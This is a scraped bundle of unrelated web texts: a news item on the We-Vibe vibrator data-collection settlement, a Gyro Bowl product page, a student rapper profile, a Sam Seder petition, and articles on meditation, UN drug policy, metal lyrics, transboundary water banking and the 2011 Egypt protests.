The We-Vibe 4 Plus vibrator, which allows users to customize their sexual experience with a variety of options via an app, was revealed to be secretly sending “vast quantities of user data to We-Vibe’s parent company,” while it was also revealed that the device could be hacked from a “close proximity.”
“Following a class-action lawsuit in an Illinois federal court, We-Vibe’s parent company Standard Innovation has been ordered to pay a total of C$4m [Canadian dollars] to owners, with those who used the vibrator’s associated app entitled to the full amount each. Those who simply bought the vibrator can claim up to $199,” reported The Guardian. “The app that controls the vibrator is barely secured, allowing anyone within Bluetooth range to seize control of the device.”
“In addition, data is collected and sent back to Standard Innovation, letting the company know about the temperature of the device and the vibration intensity – which, combined, reveal intimate information about the user’s sexual habits,” they continued.
Last month, technology firms also warned that sex toy hacking was a growing cyber-risk.
Charlie Nash is a reporter for Breitbart Tech. You can follow him on Twitter @MrNashington or like his page at Facebook.Gyro Bowl – Eating time is a fun time for your babies
The child’s development is a challenging stage with parents. Children’s problem with eating causes many parents to bother. At this point, your children are gradually developing new skills, reveal personality so there are many problems occur.
In term of the eating, many children do not like the parents to feed them with a spoon and want to eat by their own. Therefore, food is easily fallen off on the ground. Today, we will introduce an useful product for young parents to deal with this problem. Your children will be given a chance to eat on their own and the food won’t fall on the ground. Sounds so interesting!
The Gyro Bowl is a special bowl for kids that was presented in late 2010. Thanks to its unique design so that the “bowl” turns 360 degree without spilling the food. This is an exceptionally smart bowl and perfect for your children.
Gyro Bowl is also a special, educational toy for kids which is smartly designed to stimulate the baby to discover and enjoy eating in the bowl.
The product is made of special bactericidal plastic for the health of your littile angels. The good quality makes the bowl hard to be broken if the baby throws it away.
In particular, the bowl is dirt-proof and anti-spillage when the baby is looking for fun in the bowl. Products manufactured by quality standards and exported to the Japanese market is a powerful tool for the mother to raise their kids.
The Gyro Bowl is a special toy for children at the age of eating due to these reasons:
– The main structure of the bowl is an amazing invention, helping the bowl is in equilibrium, keeping food in any situations, even when the bowl is overturned, rotated … bowl with lid
– Gyro Bowl is a household appliance suitable for families with small children when they use small items such as nails, pins, coins
– The Gyro Bowl is particularly safe with your baby and is durable enough to hit the ground.
Detail information of Gyro Bowl:
Weight: 197 grams
Dimensions: 18×17.5×7.5
Made of safe plastic, absolutely friendly environment and sensitive skin of the baby.
Designed with 3 layers: plastic bowl, plastic support and plastic handle.
Can hold horizontal, vertical, even put bowl down without worrying food in the bowl is poured out.
Special design can include food items such as cut fruit, nutritional cakes and snacks. – The cup has a sturdy hand grip so your baby can carry it around the room and avoid dropping the food.
A toy, household appliances indispensable in every family.
A special gift for your baby
Product size: diameter 13cm x height 6cm.
Made in USA according to quality standards and exported to Canada, Europe, Asia…
Gyro Bowl is a child’s favorite bowl at eating time because it is also a baby toy that can be taken anywhere and take food at any time … in the hands of little kids. Moreover, it keeps the food clean inside, not easy to fall or pour when baby moves. The Universal Gyro Bowl with its eye-catching color and design in the form of a toy, the baby will be delighted and help parents reduce the pressure and time when feeding their children. Parents no longer afraid to drop the baby food at home when feeding with this balanced food bowl.
Moms and children not to have a “fight” between meals. This product will put an end to these “battles”. The mother should have enough patience, respect the opinion of children and especially give the children the Gyro Bowl. Gradually, your children will recognize the meal as a time when the whole family is happy and unite.
So, Don’t hesitate, buy now for your kids
Consumer Reports
Jim G: A fun little contraption for kids. We bought a gyro bowl for our 1 year old a month ago as a gift, and we just finished ordering another one for a friend and her toddler. We have found it to be easy for our kid to hang on to it while he’s snacking in the car. The lid included with the bowl is a feature that comes in handy more often than you think it will, especially for when you are on the go. Just be ready to clean the inner and outer bowls. It’s not too much of a hassle, but it’s helpful if you are aware of this before you put anything in the bowl that would potentially be too messy to clean up if it gets in between the two bowls. If things do get really messy, you can always take the bowls apart and clean them separately, then put them back together. Overall, the gyro bowl is worth the order price in my opinion.
Rachel: My hubby and I bought the gyro bowl originally for our 14 month old toddler. Once the bowl arrived in the mail, our little girl’s dad probably got more of a kick out of it than she did. When dad finally let her play with it, she loved it. She always seems to have it around her now. We have found it works terrifically for cheerios and other cereals.
We had one incident where the bowl was knocked off of our kitchen table by daddy who was setting another plate down. Sure enough, things spilled. But that’s to be expected. Overall, the gyro bowl is a lovely little product and we’d happily buy another one if needed. Jason: I wanted the gyro bowl because my little one is always finding a way to accidentally spill her meals and snacks all around the house. You name the room and you could probably find the remnants of a stain caused by the spillage from my child’s shenanigans. As far as I can tell, this product does just what the commercials say it can do.My one reservation is that the bowl really needs to be held properly so that food doesn’t come out. My kid was holding the gyro bowl with her thumb wrapped around the inside bowl which kept the “gyro” part of the product from doing its thing. I showed her how to hold it the right way without things spilling, or “how daddy would hold his food.” Now, she grips the bowl by the rim and we have seriously cut back on a lot of spills in our house. Jerrlyn: I got this gyro bowl as a gift on my first Mother’s Day as a mom from a thoughtful friend. She ordered it and had it shipped directly to my house. The bowl arrived inside its original box which was inside a much larger box. I think the extra space inside that box is what caused there to be a few dents on the inner box. But the bowl itself was in perfect condition. I love the bowl and I think the concept is great. Liquids seriously should not be used in the bowl if you’re worried about spills. The gyro bowl so far works fantastically for dry foods, but once you put any liquid in there and shake it around, messiness is inevitable. However, just like any other ordinary bowl, you can put liquids in there if you aren’t anticipating you or your toddler tipping or spilling it. Yes, the bowl is spill resistant, but it isn’t magic. It’s a fun little gizmo that is worth the sticker price. My kid loves it, and I have even played with it a few times already.
Contact | Privacy PolicyCompared to most rappers, CONNIE.K is pretty new to hip-hop. Growing up in a fairly conservative household in Cary, Illinois (part of the suburban sprawl he calls “Chicagoland”), Conrad Kisunzu ‘16 was surrounded by classical music and gospel — hip-hop and R&B didn’t really have a place in his life. Unlike many music-makers of his generation, he doesn’t claim to have been raised by Biggie, Pac, or even Kanye. He played the oboe, sang with his family and practiced the piano. That’s why it’s somewhat remarkable that he’s now the proud creator of “Daylight Savings,” his six-track hip-hop debut.
Kisunzu has come a long way since his freshman year. From the beginning, he was never sure what role music would play in his time on campus. “My whole Stanford experience has been like a journey for me, in terms of embracing being an artist and being a Stanford student,” he says in a recent interview. While music has always been a part of his life, he didn’t feel truly comfortable sharing his artistic side until recently. For the most part, he kept it at home: “My sister and mom were more of the singers in the family,” he clarifies. “I knew how to sing because I needed to be able to do harmonies with them, when we were in the house or whatever, just to add another voice.”
https://soundcloud.com/connieok/sets/daylight_savings
But after joining Everyday People, an R&B a capella group, Kisunzu gained more confidence. He started to bring his passions to the public, posting pop covers to YouTube and finally singing in front of crowds. Last year, he performed a cover of Childish Gambino’s “3005” at Stanford’s Got Talent that included a live freestyle (he rhymed “verbal” with “hitting gerbils,” but anything is fair game — it was off the dome, after all). Now he serves as the musical director for Everyday People and is developing a new project — an R&B and electronic fusion group called Escape Hatch — with Kevin Coelho ‘17, Johnny Weger ‘18 and Ladidi Garba ‘14. Oh, and his EP is dope.
“Daylight Savings” is a collection of five originals and a remix (a fresh take on D.R.A.M.’s groovy single, “Cha Cha”). The project is Kisunzu’s first attempt at hip-hop, discounting ciphers with friends, and he says it was inspired by an unusual suspect: the Stanford student music scene. “I never really had the impetus to make a project. But then last year, there was a lot of creative energy, just people creating their own projects,” he noted. He gave nods to Tyler Brooks ‘16, Chris Russ ‘15 and Mike Mendoza ‘15 — all members of The Outsiders, a student hip-hop collective — as special inspirations. “They were making something for themselves. I realized the only way I was gonna grow was if I actually did something, too.”
And so, “Daylight Savings” was born as a summer project, recorded with his friend Shamik Ganguly working behind the soundboards. While all of the beats on the project were lifted from Soundcloud producers, Kisunzu injects his lively sing-song flow, clever lyrics and more than a few shout outs to create an addicting sound and stake out his ownership of the tracks.
One of his more understated strengths is beat selection. On “Standstill,” his flow dances over a free-flying Wave Racer production, bouncing between the producer’s rhythms and accents as if they were made for him. On “Grape Juice Cocktail,” he changes the mood, singing longingly for that special someone over a laid back Tennyson beat: “Look at you, with the faceless sin / Seeing a wide-toothed grin, that the heart ain’t in.” The title track, “Daylight Savings,” is a swaggering study in wordplay over a Dilla-swung Kaytranada joint.
Kisunzu’s flow is often reminiscent of Childish Gambino, but according to him, the similarity is incidental. While he’s a big Gambino fan, he’s not trying to copy anyone. But it’s worth noting that CONNIE.K and Gambino both share a similar musical space. Their work is generally accessible to all kinds of audiences — that is, you don’t have to be an OG hip-hop head to get down with their style. Kisunzu explains, “I’m not trying to be anything that I’m not. I’m just a suburb kid, who’s relatively nerdy, who likes to rap.” Sounds a lot like Bino to me.
This true-to-yourself approach is also inspired by Kisunzu’s biggest idol, Chance the Rapper. Again, while he doesn’t try to explicitly emulate Chance’s sound, he is creating in the same feel-good, authentic spirit that makes his fellow Chicago native stand out. In Kisunzu’s own words, Chance “is just a good guy, trying to make good music and make people happy.”
That’s what drives his own craft, too. He wants to make music you can groove to, that can make you smile or go to dark places and still feel “warm and inviting.”
On the closing track, “Dream Deferred,” Kisunzu delivers his creative manifesto, finally embracing the fact that music has been his driving passion since day one. “[Dream Deferred] is me coming to the realization that I do love this, that I want to put my heart into it,” he says at the end of our interview. After years of treating music as a side project, he’s ready to change the script.
Langston Hughes first asked, “What happens to a dream deferred?” in 1951, musing over the limits placed on dreamers. During his time at Stanford, Kisunzu has lifted his own self-imposed inhibitions, becoming a performer, a writer and a creator. “Daylight Savings” is the first step he’s taken to fully embrace his artistic dream. It’s a remarkably well-executed and enjoyable work, and it’ll be exciting to see where his talents take him. So, to finish Hughes’s thought: Will this dream dry up, “like a raisin in the sun?” Or will it explode?
You can listen to “Daylight Savings” on Kisunzu’s Soundcloud page, soundcloud.com/connieok.
Contact Benjamin Sorensen at bcsoren ‘at’ stanford.edu.UPDATE: We won! MSNBC has rehired Sam Seder! Thank you all, for all of your help!
__________________________
Progressive icon and Majority Report host Sam Seder is under attack from the so-called "Alt Right." Sam needs our help now.
Far-right Republican "men's rights activist" Mike Cernovich, with the help of Seb Gorka and Donald Trump Jr., are trying to destroy Sam. And they just might succeed, unless we stop them now. They've already gotten Sam fired from MSNBC, and now they're trying to kill his podcast by going after his advertisers.
What was Sam's sin? He criticized filmmaker Roman Polanski for being a pedophile who raped a 13-year-old girl. Yes, Sam took a public stand against the sexual assault of young girls, and now he's paying with his career.
Cernovich, a well-known fake-conspiracy promoter, claimed falsely that Sam defended Polanski in a tweet Sam wrote ten years ago. In fact, Sam's tweet did the opposite -- he attacked those on the left who would forgive Polanski for raping a child, simply because Polanski "made good films."
This isn't the first time Cernovich has concocted a high-profile lie to advance his extreme political agenda. Cernovich was one of those behind the "Pizzagate" conspiracy theory that falsely claimed Hillary Clinton was running a child sex ring out of the basement of a Washington, DC pizza parlor. That absurd allegation inspired a man to hold the restaurant hostage at gun point.
As thanks for taking an unpopular stand against sexual assault ten years ago, Sam just lost his job at MSNBC, and Cernovich and the Alt Right are now targeting Sam's advertisers on his podcast.
Enough is enough. It is outrageous that MSNBC would believe a known-liar like Cernovich over someone with a long progressive record of defending all of our fights, including the rights of women. Not only was MSNBC wrong to fire Sam, but now the Alt Right is using MSNBC's cowardly move to urge other advertisers to drop Sam as well. MSNBC has quite literally take a fringe kook like Cernovich and turned him into a weapon to attack good progressives like Sam. And once Cernovich is done with Sam, he'll come for the rest of us.
Please sign this petition to MSNBC President Phil Griffin, demanding that he rehire Sam Seder and apologize for the harm MSNBC has already caused Sam's reputation.
PS Here are some of Mike Cernovich's views on women. This is the man who MSNBC is taking advice from on sexual assault:
This is an outage.Please sign the petition, and share this with your friends. Thanks so much. JOHN
PS You can hear much more background on this story in my recent UnPresidented Podcast.If you haven't given meditation a try yet, despite the many advantages we've already seen (including chronic pain and stress relief, reducing information overload, and building a better brain), here's one more argument for trying the practice: meditation may help you get more done at work.
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A recent study by University of Washington researchers (PDF) found that meditation training helped workers concentrate better, remember more of their work details, and stay energized and experience less negative moods.
In the study, three groups each of 12 to 15 human resource managers were given 8-week training courses in 1) mindfulness meditation, 2) body relaxation, or 3) the mindfulness mediation after being on a wait list for eight weeks (the waitlist control group).
Participants were then tested for their speed, accuracy, and multi-tasking while doing common office tasks like word processing and using email, calendars, and instant messaging. The subjects also recorded their stress levels and memory performance.
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The meditation group outperformed the others when it came to reduced stress, greater focus, and improved memory. The waitlist control group didn't have reduced stress until after they did the meditation training eight weeks later. The relaxation group, oddly enough, wasn't any less relaxed at work.
Although the meditation training involved a two hour session each week, you could probably see similar benefits from just a two-minute daily meditation habit or regular use of tools like Buddify to help you get started meditating.
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The Effects of Mindfulness Meditation Training on Multitasking in a
High-Stress Information Environment (PDF) | University of Washington via USA Today
Photo by Hans-PeterInternational efforts to tackle the "global threat" of illicit drugs must be "rejuvenated" in accordance with a 50-year-old convention despite a series of major failings, the head of the UN drugs and crime agency has told The Independent.
This week, Yury Fedotov acknowledged that global opium production increased by almost 80 per cent between 1998 and 2009, and the international market for drugs is now worth as much as $320bn (£199bn) a year – making it the world's 30th-largest industry.
In the face of such daunting statistics, Mr Fedotov, the new executive-director for the UN Office on Drugs and Crime (UNODC), said the Single Convention of 1961 – the first international treaty to lay the framework for global drug-control systems – is still the most appropriate mechanism for tackling what he described as the "global, hydra-headed threat" of drugs and crime. He called on member states to "re-dedicate" themselves to the convention to take a tougher line against drug traffickers and "the drug threat originating from Afghanistan".
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Champions of drug-policy reform agree that trafficking is a major global problem, but some worry that a call to invigorate the convention could be interpreted as a call to reinforce punitive approaches to drug problems – one of the biggest criticisms of the 1961 pact. "We all have to acknowledge the key convention is now 50 years old," said Mike Trace, chairman of the International Drug Policy Consortium (IDPC), a global network of NGOs.
"It was drafted in a time when our understanding of drugs problems was very limited.
"Strategies to strengthen repressive measures in source countries like Afghanistan, prohibition and the punishment of drug users have all been employed in the past, and none of them have been able to create the situation we want – which is to stifle the supply of illegal substances and stop young people from wanting to use them."
Peter Sarosi, drug policy expert for the human rights organisation the Hungarian Civil Liberties Union, said: "The continuing focus on criminal justice and prohibition has already proved to be ineffective." His group protested outside the UN building this week to raise awareness of the undesirable side-effects of drug prohibition.
Mr Fedotov argued that drugs and crime "share the same blood supply" but said he did not see the Single Convention as "punitive".
He said: "It's a preventive convention. Its main purpose is to protect people's health."
A former Russian ambassador to the UK, Mr Fedotov came under fire for his links to the Russian government when he was appointed as the UN drugs chief last year. Groups such as the IDPC highlighted Russia's status as the world's largest heroin consumer with a rapidly growing number of HIV cases.
As the Russian drugs tsar, Viktor Ivanov, confirmed this week, Moscow remains averse to implementing several UN-endorsed harm-reduction treatments – such as needle-exchange programmes, which are proven to reduce HIV infection rates. Instead, the government prioritises a hard-line approach to trafficking and Afghanistan's drug cultivation.
When asked about Russia's drug problem, Mr Fedotov said allegations concerning the treatment of drugs users in Russia were exaggerated. "There may be some shortcomings but it is not very different to what happens in other countries," he said.
He said he understands the need for the UNODC to advocate "a comprehensive package of intervention for injecting-drug users" as well as drug-prevention and education measures.
Mr Trace of the IDPC praised Mr Fedotov for admitting that there are problems with the current system. Mr Fedotov’s predecessor, former UN drugs chief Antonio Maria Costa, declared “undeniable success” in 2009.
“That doesn’t mean that Mr Fedotov or the member states have any intention of fundamentally changing our structures,” said Mr Trace. “But it is very encouraging that they seem to be more open to a proper review process.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowThe primary purpose of speaking and writing is to sound as cool as possible at all times, and now a data scientist has given us the specific keywords we need to impress our peers, no matter where we are. In a post on Degenerate State, the scientist took the lyrics off DarkLyrics.com,“the largest metal lyrics archive on the web,” from a database of 222,623 songs by 7,634 bands to analyze the most and least metal words. Comparing the DarkLyrics data with the Brown Corpus—a 1961 collection of English-language documents (no song lyrics) that is “the first of the modern, computer readable, general corpora”—the data scientist found the top 20 most and least metal words. Here’s a sampling:
Top 10 Most Metal Words
burn cries veins eternity breathe beast gonna (presumably as in “going to”) demons ashes soul
Top 10 Least Metal Words
particularly indicated secretary committee university relatively noted approximately chairman employees
Unsurprisingly, if you want to sound metal, all you need to do is evoke the imagery of hell and stay away from square topics like university and employment. So next time you want to show some nerd how badass you are, just start chatting about the demons who burn your soul, the beast within coursing through your veins, the piercing burn of your cries, which eventually will become ashes, et cetera, et cetera.
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[Degenerate State and The Science of Us]Multilateral water governance: Prospects for transboundary water banking?
October 21st, 2012
Christos Makridis, Stanford University and North American Center for Transborder Study, United States
Climate change has broad and heterogeneous international consequences. In particular, simultaneous increases in demand for water and declines in water quality are forecasted. Because water exhibits many public good features, the emergence of multilateral policy instruments that optimize both environmental and economic outcomes is necessary.
While the industrial organization and environmental economics literatures are robust, applications in water policy and transboundary governance are scarce. From Milgrom (2011)1 in auction theory to Nordhaus (2007)2 in climate policy, the principles of efficient, mutually beneficial, and socially optimal policies can also be applied in the area of multilateral water governance through transboundary water markets, specifically water banks. To investigate their feasibility and potential costs/benefits, this article considers the conditions and market design elements of a water bank along the Colorado River between the United States and Mexico as an innovative market mechanism for promoting sound water governance.
Water Markets: The Intersection of Economic and Environmental Sustainability
Coase (1960)3 established that bargaining strategies are effective instruments for addressing externalities, except when transaction costs are sufficiently high and/or property rights are not well-defined; these latter criteriaincluding the presence of heterogeneous agents, seasonal and stochastic shocks to water supplies, and non-linearities in demandfrequently characterize water-based transactions.4 For example, during times of drought, adversely affected agencies can lease/buy water from agencies with excess reserves. Absent price signals and a well-defined market, efficient transfers are highly unlikely. Zilberman (2007)5 uses the California experience to demonstrate that, absent markets, there are large disparities in agency water productivity and environmental distress (i.e. droughts) is especially damaging.
To address this, consider a water bank whereby the International Boundary and Water Commission (IBWC) auctions a finite number of water rights, in the form of tradable permits, and defines water quality standards for participating water agencies. Agencies would purchase and/or trade permits over water quantities stored in a centralized bank on the basis of their marginal costs of water production. Initial allowances could be tested through a small scale water bank of 750,000 acre-feet (AF) over non-contentious land; based on its success, the trading scheme could expand by phasing additional water agencies in the same vein as the successful sulfur dioxide (SO2) trading scheme.6 The IBWC would settle disputes, enforce contracts, and address informational asymmetries to ensure efficiency and equity.
A transboundary water bank requires special attention to not only the terms of trade, but also the perception of the terms of trade, among participating agents. Even if forecasts suggest a policy is mutually beneficial, a country may still perceive ill-intent because intentions are frequently mis-communicated and nations have different sovereign objectives, as well as initial conditions that define trade prospects. For instance, although the United States and Mexico signed the 1944 Water Treaty, which partitions water resources between both countries, the legal framework does not address a variety of binational disputes, like recent water seepage along the Rio Grande. Among other reasons, since both nations believe that they have a right to the seepage, cooperation over water resources has come to a near impasse. Creating and encouraging water markets offers a solution to ongoing environmental, economic, and political impasses.
The most challenging component of a water bank with tradable permits is getting the price |
work.
0039 Ramez Mohamed tweets: "I just want an Egypt like Tahrir square: organized, clean, everyone helping, loving each other and expressing opinion freely."
0035The BBC's Katty Kay says the Egyptian authorities know the protesters were watching the Tunisian uprising on TV, which is part of the reason they are wary of the media. If Egyptians had not seen Tunisia on TV, the events in Cairo wouldn't be happening. The BBC's Katty Kay says the Egyptian authorities know the protesters were watching the Tunisian uprising on TV, which is part of the reason they are wary of the media. If Egyptians had not seen Tunisia on TV, the events in Cairo wouldn't be happening.
0034New Zealand announces it won't be following the lead of other countries by sending charter flights to pick up stranded citizens, Foreign Minister Murray McCully New Zealand announces it won't be following the lead of other countries by sending charter flights to pick up stranded citizens, Foreign Minister Murray McCully quoted in the NZ Herald as saying: "New Zealand taxpayers might object to sending a charter flight over there for 12 people."
0027More from Senator McCain: President Mubarak has been a good friend. He has helped us with Israel and to stymie al-Qaeda. We should be appreciative of that. He later added that the message from the events in Cairo is that "oppressive and repressive regimes cannot last for ever". More from Senator McCain: President Mubarak has been a good friend. He has helped us with Israel and to stymie al-Qaeda. We should be appreciative of that. He later added that the message from the events in Cairo is that "oppressive and repressive regimes cannot last for ever".
0026Senator John McCain told the BBC's World News America: If Mubarak arranged for his vice-president to take charge and at the same time to include the pro-democracy forces - but not the Muslim Brotherhood - in a coalition government that would arrange free and fair elections, I think it is very likely there would be calm in Egypt. Senator John McCain told the BBC's World News America: If Mubarak arranged for his vice-president to take charge and at the same time to include the pro-democracy forces - but not the Muslim Brotherhood - in a coalition government that would arrange free and fair elections, I think it is very likely there would be calm in Egypt.
0021The BBC's Jeremy Bowen says there is clear evidence that people connected with the ruling party were behind the pro-Mubarak demonstrations yesterday. The Egyptian government has said that peaceful marches should not be interfered with, but how do you define peaceful? The BBC's Jeremy Bowen says there is clear evidence that people connected with the ruling party were behind the pro-Mubarak demonstrations yesterday. The Egyptian government has said that peaceful marches should not be interfered with, but how do you define peaceful?
0019 SamI DaouaD tweets: "Tahrir sq is ours, sleep safe 2nite, prepare urself 4 1 last fite and our beloved Egypt will be truly free."
0018The BBC's Kevin Connolly reports on the reaction to President Mubarak's earlier interview: "He is now portraying himself as a lonely man - an unfortunate dictator forced to stay in power to guarantee stability. Very few Egyptians buy this portrayal at face value. But it is a fascinating insight into what is going on in the president's mind as he surveys the chaos in Tahrir Square in the heart of the capital." The BBC's Kevin Connolly reports on the reaction to President Mubarak's earlier interview: "He is now portraying himself as a lonely man - an unfortunate dictator forced to stay in power to guarantee stability. Very few Egyptians buy this portrayal at face value. But it is a fascinating insight into what is going on in the president's mind as he surveys the chaos in Tahrir Square in the heart of the capital."
0002The chairwoman of the Committee on Foreign Relations in the US House of Representatives, Ileana Ros-Lehtinen, says she will call two Obama administration officials to answer questions about the White House's response to events in Egypt. She has previously advocated severing aid to nations that do not support US policies and ideals. The chairwoman of the Committee on Foreign Relations in the US House of Representatives, Ileana Ros-Lehtinen, says she will call two Obama administration officials to answer questions about the White House's response to events in Egypt. She has previously advocated severing aid to nations that do not support US policies and ideals.
2357 The BBC's Kim Ghattas in Washington reports: "The tone from the administration in general seemed to be hardening on Thursday. State Department spokesman PJ Crowley said attacks on protesters were traced to elements in the government, but it was unclear how far up the chain it went. Secretary Clinton came out with a strong statement condemning the violence against journalists, foreigners and human rights activists. In Washington just like in Cairo, they're bracing for tomorrow's demonstrations with some concern. The BBC's Kim Ghattas in Washington reports: "The tone from the administration in general seemed to be hardening on Thursday. State Department spokesman PJ Crowley said attacks on protesters were traced to elements in the government, but it was unclear how far up the chain it went. Secretary Clinton came out with a strong statement condemning the violence against journalists, foreigners and human rights activists. In Washington just like in Cairo, they're bracing for tomorrow's demonstrations with some concern.
2351 Occupied Cairo tweets: "It is good that ppl are alert and taking care of the square, but everybody please calm down. Tahrir is currently calm."
2349Swedish broadcaster SVT confirms that reporter Bert Sundstroem has been stabbed in Cairo, saying: "He is now at a hospital in Cairo and is being operated on for knife injuries." Swedish broadcaster SVT confirms that reporter Bert Sundstroem has been stabbed in Cairo, saying: "He is now at a hospital in Cairo and is being operated on for knife injuries."
2344Two of America's prime-time news anchors, NBC's Brian Williams and CBS's Katie Couric, have left Egypt amid a crackdown on the media covering the protests. They have been anchoring their nightly broadcasts from Cairo for several days. Two of America's prime-time news anchors, NBC's Brian Williams and CBS's Katie Couric, have left Egypt amid a crackdown on the media covering the protests. They have been anchoring their nightly broadcasts from Cairo for several days.
2343More on the arrests at Hisham Mubarak law centre: Professor Mamdou Hamza tells BBC World Service how he went to the centre to help his colleagues and witnessed them being arrested: "We could not see their faces because they were covered. The police said they were from Iran or Hamas. But the people there say they are arrested for being anti-Mubarak." More on the arrests at Hisham Mubarak law centre: Professor Mamdou Hamza tells BBC World Service how he went to the centre to help his colleagues and witnessed them being arrested: "We could not see their faces because they were covered. The police said they were from Iran or Hamas. But the people there say they are arrested for being anti-Mubarak."
2327The Los Angeles Times The Los Angeles Times has a timely piece looking at the pros and cons of sending your news anchors into hostile territory.
2312US Vice-President Joe Biden has been talking to his Egyptian counterpart, repeating the mantra of many foreign politicians in recent days by urging that "credible inclusive negotiations begin immediately in order for Egypt to transition to a democratic government that addresses the aspirations of the Egyptian people". US Vice-President Joe Biden has been talking to his Egyptian counterpart, repeating the mantra of many foreign politicians in recent days by urging that "credible inclusive negotiations begin immediately in order for Egypt to transition to a democratic government that addresses the aspirations of the Egyptian people".
2309 Mosa'ab Elshamy tweets: "I've just walked around Tahrir. No trucks shipping thugs, no people getting slaughtered, and the few thugs on the bridge are bored."
2301 Monasosh, who is in Tahrir Square tweets: "I know u ppl will think I am exaggerating but Tahrir square is the safest place in cairo right now! And it is cozy.
2259Conflicting accounts emerging of current situation in Tahrir Square, with some witnesses saying everything is calm, and others saying an attack from Mubarak supporters or police is imminent. Conflicting accounts emerging of current situation in Tahrir Square, with some witnesses saying everything is calm, and others saying an attack from Mubarak supporters or police is imminent.
2253Former Nile TV anchorwoman Shahira Amin explains to the BBC why she quit her job on state TV: "We were not allowed to report on what was happening in Tahrir Square. I spent the whole day yesterday at Nile TV and we were just covering the pro-Mubarak rallies, which I thought was ridiculous. I don't want to be part of their propaganda machine. You know, when the system doesn't suit you just walk out." Former Nile TV anchorwoman Shahira Amin explains to the BBC why she quit her job on state TV: "We were not allowed to report on what was happening in Tahrir Square. I spent the whole day yesterday at Nile TV and we were just covering the pro-Mubarak rallies, which I thought was ridiculous. I don't want to be part of their propaganda machine. You know, when the system doesn't suit you just walk out."
2246 CNN's Ivan Watson tweets: "A column of at least 6 troop carrier trucks loaded with personnel are lined up facing the protester barricades in Tahrir Square. Can't tell whether the passengers in these military vehicles are soldiers or police but all seem to be wearing helmets."
2230Graeme Wood Graeme Wood writes on the Atlantic website of his experiences at the hands of the pro-Mubarak mob after being mistaken for an Iranian: "I was being dragged through the street like a deformed farm animal, and the people around me were yelling 'Iranian! Iranian!' while I cried out in my best English in protest. We passed two cafes, and no one even bothered to take a shisha pipe out of his mouth to inquire about me."
2206Amnesty International confirms two of its workers are under arrest after a raid by the military police on the Hisham Mubarak Law Centre, and calls for their immediate release. Amnesty International confirms two of its workers are under arrest after a raid by the military police on the Hisham Mubarak Law Centre, and calls for their immediate release.
2156Egypt Prime Minister Ahmed Shafiq says the interior minister should not obstruct peaceful marches on Friday, in comments translated by Reuters. Egypt Prime Minister Ahmed Shafiq says the interior minister should not obstruct peaceful marches on Friday, in comments translated by Reuters.
2152 Carl Bildt, Swedish Foreign Minister tweets: "Intense contacts on situation for Swedish journalists Cairo. One seriously injured and under treatment at hospital. Embassy working hard."
2146The blogger Sandmonkey (see entries at 1503 and 1334) tells the BBC's Rajini Vaidyanathan how he was attacked and beaten for 30 minutes, driven around Cairo for hours and eventually dumped at a police station. He says it was because he was trying to give aid to the protesters. The blogger Sandmonkey (see entries at 1503 and 1334) tells the BBC's Rajini Vaidyanathan how he was attacked and beaten for 30 minutes, driven around Cairo for hours and eventually dumped at a police station. He says it was because he was trying to give aid to the protesters.
2133UN Secretary General Ban Ki-moon says attacks on journalists in Egypt are "scandalous and totally unacceptable," the AFP news agency reports. UN Secretary General Ban Ki-moon says attacks on journalists in Egypt are "scandalous and totally unacceptable," the AFP news agency reports.
2122The BBC's Paul Adams in Washington on Hosni Mubarak's ABC interview: "The interview puts at least one of the rumours sweeping Cairo over the past week to rest: President Mubarak's son, Gamal, has not left the country but remains in the presidential palace with his father. But since it's now clear that Gamal, like his father, does not intend to run for office in September, this is now less relevant than it once was. Of more importance is the insight gained into the defiant mood of Egypt's embattled leader. He insists that President Obama has not asked him to leave office immediately and he expresses a degree of remorse about the violence raging on the streets of Cairo. The BBC's Paul Adams in Washington on Hosni Mubarak's ABC interview: "The interview puts at least one of the rumours sweeping Cairo over the past week to rest: President Mubarak's son, Gamal, has not left the country but remains in the presidential palace with his father. But since it's now clear that Gamal, like his father, does not intend to run for office in September, this is now less relevant than it once was. Of more importance is the insight gained into the defiant mood of Egypt's embattled leader. He insists that President Obama has not asked him to leave office immediately and he expresses a degree of remorse about the violence raging on the streets of Cairo.
2114 Al Jazeera's Dan Nolan tweets: "Two Al Jazeera journos went missing for 6 hrs today- now been found although beaten up. Jazeera won't stop reporting story but re-assessing safety for us."
2106Mamdou Hamza, a professor of civil engineering in Cairo, tells the BBC he has seen local human rights activists being beaten up and driven off in a police van. Mamdou Hamza, a professor of civil engineering in Cairo, tells the BBC he has seen local human rights activists being beaten up and driven off in a police van.
2100Mrs Clinton also urges Egypt's "government and a broad and credible representation of Egypt's opposition, civil society and political factions to begin immediately serious negotiations on a peaceful and orderly transition". Mrs Clinton also urges Egypt's "government and a broad and credible representation of Egypt's opposition, civil society and political factions to begin immediately serious negotiations on a peaceful and orderly transition".
2049More from Washington on Egypt's crisis. US Secretary of State Hillary Clinton condemns attacks on journalists and says a "free election" in Egypt "is essential". More from Washington on Egypt's crisis. US Secretary of State Hillary Clinton condemns attacks on journalists and says a "free election" in Egypt "is essential".
2033Reuters reports that US intelligence officials warned the president over instability in Egypt last year, quoting CIA official Stephanie O'Sullivan as saying: "We have warned of instability. We didn't know what the triggering mechanism would be for that." Reuters reports that US intelligence officials warned the president over instability in Egypt last year, quoting CIA official Stephanie O'Sullivan as saying: "We have warned of instability. We didn't know what the triggering mechanism would be for that."
2030Protester Waleed Seif in Alexandria believes that Mr Mubarak should stay for now to allow an orderly transition, telling the BBC: "We protested against the ruling system and President Mubarak. However Egypt has now changed, and we need to give Mubarak a chance to make things right." Protester Waleed Seif in Alexandria believes that Mr Mubarak should stay for now to allow an orderly transition, telling the BBC: "We protested against the ruling system and President Mubarak. However Egypt has now changed, and we need to give Mubarak a chance to make things right."
2019Egyptian police arrest seven youth leaders of the protests in Tahrir Square shortly after they visit Mohamed ElBaradei, their families tell AFP. Egyptian police arrest seven youth leaders of the protests in Tahrir Square shortly after they visit Mohamed ElBaradei, their families tell AFP.
2005The BBC's Caroline Hawley says: "Hosni Mubarak may have hoped that unleashing his loyalists would help end the uprising and make Egyptians long for calm. But the violence risks alienating him further from Western leaders who've backed him for so long." The BBC's Caroline Hawley says: "Hosni Mubarak may have hoped that unleashing his loyalists would help end the uprising and make Egyptians long for calm. But the violence risks alienating him further from Western leaders who've backed him for so long."
